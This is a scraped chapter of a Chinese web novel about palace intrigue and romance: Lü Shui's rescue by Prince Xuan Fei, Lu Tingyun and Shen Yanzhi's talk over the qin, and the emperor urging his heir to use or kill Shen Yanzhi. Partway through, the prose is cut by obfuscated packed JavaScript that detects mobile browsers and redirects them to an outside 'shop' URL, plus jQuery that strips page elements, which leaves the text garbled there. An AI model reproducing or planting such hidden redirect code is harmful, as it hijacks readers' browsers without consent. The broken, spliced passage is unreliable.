18.绿水何故不展眉
作品:《殿下他既要、又要、还要!》 听完玄溯的前情提要,陆停云才明白了刚才绿水和玄非唱的是哪出。
原来绿水也曾是读书人家的公子,家族因为党争站错了队,被抄没家产,家人委身为官奴,绿水被投入了乐伎司中,学习歌舞乐曲供权贵享乐。一次宴会上,一个素来爱好男风的老侯爷看上了绿水,偏要将绿水收入房中,绿水到底是读书人家出来的公子,委身为乐伎也心性不改,不愿受辱,竟要以头抢地碰死自己,闹的动静太大了。老侯爷面上过不去,命人押着绿水跪于廊下掌嘴,玄非晃晃悠悠来赴宴时正赶上这一幕,便仗着皇子身份,想要向老侯爷将绿水讨了去,救绿水一命。
老侯爷正在气头上,又向来不将玄非这种狐假虎威的小王爷放在眼里,不肯松口,放话要将绿水这个不知趣的小贱人打死。玄非一听急了,眼看绿水奄奄一息,也不管面上过不过的去,直接命手下把绿水带走,带回府上细心救治。
等绿水悠悠转醒,才知道为了救自己,玄非惹上了个不大不小的麻烦,玄肇闻知此事,懒得扯皮,顾念着老臣的面子,让玄非把绿水还回去算了,想要人再去乐伎司随便挑几个好了,玄非不干,玄肇只得道:“那你索性纳了他吧,这样别人也不好再跟你抢人了。”
于是乎,玄溯对老侯爷遗憾地表示,能理解他的愤怒,但是玄非这个小孽畜直接手快把人纳了,生米做成熟饭了都,一定会好好责骂一下玄非,让他长记性。
一觉醒来的绿水就成了玄非的男妾了,玄非怕他接受不了,又要寻死,忙说是真戏假做的求全之策,又说已将绿水的家人赎出,送回原籍安置,看在亲人俱在的份上,也不要再做傻事了。
问及绿水下一步的打算,绿水直接跪下表示:愿意终身侍奉玄非以报恩。玄非不愿意趁人之危,只让绿水处理王府事务,本以为就是给王府添了张吃饭的嘴,没想到老管家老泪纵横地跟玄非表示,绿水实在是太能干了,交给他什么都能干得井井有条,心思敏锐,一向敬上怜下、从不仗势压人,老管家得绿水,真是职业生涯中最为幸运的事,遂让玄非再去乐伎司领几个这样的管家好苗子。
玄非听完:......心想爷去哪领去?就这一个还是从阎王爷手里拉回来的。
不过由于府上对绿水的一众好评,玄非也开始认真打量绿水了,绿水做事认真,为人周到,有时府上收到各种各样的帖子,绿水会分门别类地排好,告诉玄非谁家的宴会要亲自去、谁家的送礼即可、谁家的千万不能去离远点才好,玄非予以采纳,没多久绿水千万不让去名单上的贵族,不是倒台就是式微,玄非颇感激绿水为自己考虑,从此更加依赖绿水。
日复一日的相处过程中,玄非颇觉老天不公,让绿水这样的人物受到命运搓磨,而让自己这种草包纨绔托生于帝王家,玄非敬绿水、怜绿水,甚至怕绿水因往事伤怀,竟命府上众人不得再奏乐编舞,直接因噎废食。外人都说玄非宠爱绿水太过,说绿水命好,只有玄非明白,绿水比自己好很多,遇上绿水才是自己的福气。
玄非觉得绿水总是怀揣心事,眉宇隐有忧愁之色,担心他在自己身边不顺意,又怕他欲离开自己,便去找玄溯说了心中心事,玄溯一向懂这个弟弟的天真与自卑,闻言只是笑笑,道:“你只是爱上他了。”
玄非思考爱的含义,他真诚地对绿水说:“我爱上你了。”
绿水只是如往常一般拍拍玄非的脑袋,让他先自己玩会,自己处理完府上的事务再陪他玩,玄非又重复了一遍,绿水只得停下来,温柔又无奈地说:“那不是爱,是习惯,是需要。”
玄非思考了一下,问他:“有区别吗?我需要你的时候,你会在吗?”
绿水回答:“会的,我就是你的,只要你需要,我一直都在。”直到你再不需要我。
玄非听了绿水的话感到开心和愧疚,开心和愧疚都源于同一件事,绿水会一直在自己身边。
绿水明白他的心思,温柔地吻他,吻掉他的眼泪,说:“不要哭,我永远都在你身边,只要你需要我。”他们二人亲密有加地同床异梦,绿水小心翼翼地控制着自己只给出身体,不交出心,以免最后会太可怜。
玄非以为亲密无间就是绿水爱的表现,后来发现,那也许是绿水的纵容,或者是无奈,他不懂绿水何故不展眉,好像随时可以抽身而退似的,只是对自己好着,但不眷恋自己。每每有了矛盾,二人也都如刚刚那样收场。
听玄溯款款讲完绿水和玄溯的前情,陆停云没有再开口,沉默了许久,玄溯只是笑笑,悠然告辞而去。
陆停云想着绿水弹琴时舒展的姿态,想着绿水的温柔与疏离,不由悠悠叹了口气,对沈衍之说:“是不是绿水害怕有朝一日被抛弃,索性不交付真心。”
沈衍之笑道:“你倒是明白,仿佛自己经历过什么一样。”
陆停云道:“我只是心疼绿水的日子难捱,又要控制自己的心,又要顾着玄非。”
沈衍之沉默一会,才幽幽开口:“那玄非就不值得可怜了么,他孜孜以求的人从不回应他的爱,只是对他好,他就不可怜了么?”
陆停云听沈衍之语调颇为怪异,似是有些激动,又是感到奇怪又是好笑:“咱们只是说话而已,你又不是玄非,怎么还认真起来了。”
沈衍之颇不自然地哦了一声,认真道:“大概是因为我心地良善,总会站在别人的角度考虑吧。”
陆停云听笑了,心想最蔫坏的就是你,遂道:“心地善良的好殿下,烦请你为停云也弹一首曲子吧。”
沈衍之挑眉,有点玩味:“刚刚那两位的曲子你没听够吗,怎么还要听。”
陆停云笑嘻嘻地回他:“我刚刚看绿水谈起琴来与平日完全不同,也想看看你弹琴的样子。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061666|194242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
沈衍之失笑:“我平日弹琴的时候你只顾和玄非满院子上蹿下跳,你还真是想一出是一出。”嘴上抱怨着,手上却利落换好了被绿水弹断的琴弦。
陆停云就看着沈衍之弹琴,与玄溯的春风化雨不同,与绿水的物我两忘不同,沈衍之只是规规矩矩地弹琴而已,似乎并不想寄托什么感情。一曲毕,看陆停云有些失望,沈衍之自嘲笑道:“我学艺不精,心绪太杂,不像他们一样。”
陆停云摇摇头道:“你只是怕被被别人看穿心思而已。”沈衍之一向是很难信任他人的。
沈衍之点头,并不否认,笑道:“停云是我的知己。”眷恋地看了陆停云一眼“我之前很寂寞,有了你,我就不再寂寞了。”
陆停云也对他一笑:“我其实会偷偷庆幸我们来了大讌,好像这里只有我们两个人是同类,漓国的斗争不属于我们,大讌的烦恼也不属于我们,这样的好日子像是偷来的。”
“你想和我一直留在这里嘛?”沈衍之问道。
陆停云颇感奇怪,难道他们还有别处可去嘛?沈衍之看他迟疑困惑,笑道:“我们总会在一起的。”
......
大讌宫殿内,玄溯颇有兴致的将沈衍之呈上的策论递给玄宁看,道:“沈衍之实在是个聪明人,如今漓国他是回不去了,你为什么不拉拢他,做你日后的助力。”
玄宁伸手不情不愿地接过:“他真有这么好嘛,父皇您为何总是对他夸奖有加?”
玄肇眼中闪过一丝精光,语重心长道:“他这样的人,你若是不能用他,便趁早杀了他吧。”
玄宁到底稚嫩一些,被他的父亲一激,忙道:“好好的杀他干什么,我用他就是了。”说着神色黯然了下去,只觉得自己的父皇一向杀伐决断,当初靠自己母后的家族势力上位,等母后野心勃勃想要联合外戚弄权时,被自己的父皇剪除党羽,幽禁在深宫之中凄凉地死去。
他那时候太小了,被抱来父亲身边亲自教养,一点点长大的日子中,在宫人们讳莫如深的目光中,在各种市井传言中,他拼凑出了往日场景的一点模糊轮廓,但他没有勇气问自己的父亲,怕父亲告诉他真话,也怕父亲告诉他假话。
父亲坐拥天下、军队、王权,能轻易剥夺了他的母亲,又补偿给他太子之位和独一无二的宠爱。玄宁从来不敢问玄肇关于自己母后的任何问题,不知道是出于对父亲的尊重还是出于对父亲的惧怕。
玄肇不知道为什么儿子突然情绪低落下去,只笑叹道:“你又如此,真不知作为一个国家未来的掌舵者,你这样良善的性子真不知是福是祸,你多和沈衍之那个孩子亲近,也好学些雷厉风行的手段。”
玄宁很烦他提讨厌的沈衍之,一个漓国质子,竟然一步步成为了父亲的义子,又颇受父亲赞誉,遂道:“您若是喜欢他,且去找他当儿子吧!”

